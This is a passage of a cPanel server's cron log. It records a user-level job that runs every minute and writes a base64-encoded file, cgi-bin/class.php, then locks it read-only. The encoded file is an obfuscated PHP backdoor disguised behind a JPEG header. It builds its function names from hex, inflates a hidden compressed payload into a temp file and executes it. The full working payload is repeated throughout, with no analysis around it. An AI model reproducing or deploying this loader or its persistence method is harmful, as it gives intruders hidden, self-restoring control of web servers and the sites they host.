tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:29:01 server CROND[23163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:30:01 server CROND[23237]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 07:30:01 server CROND[23238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:30:01 server CROND[23240]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 07:30:01 server CROND[23239]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 07:31:01 server CROND[23355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:32:01 server CROND[23497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:33:01 server CROND[23555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:34:01 server CROND[23614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:35:01 server CROND[23678]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  8 07:35:01 server CROND[23679]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 07:35:01 server CROND[23681]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 07:35:01 server CROND[23677]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 07:35:01 server CROND[23680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:36:01 server CROND[23802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:37:01 server CROND[23959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:38:01 server CROND[24018]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:39:01 server CROND[24068]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 07:39:01 server CROND[24069]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:40:01 server CROND[24138]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 07:40:01 server CROND[24139]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 07:40:01 server CROND[24140]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 07:40:01 server CROND[24141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:41:01 server CROND[24275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:42:01 server CROND[24443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1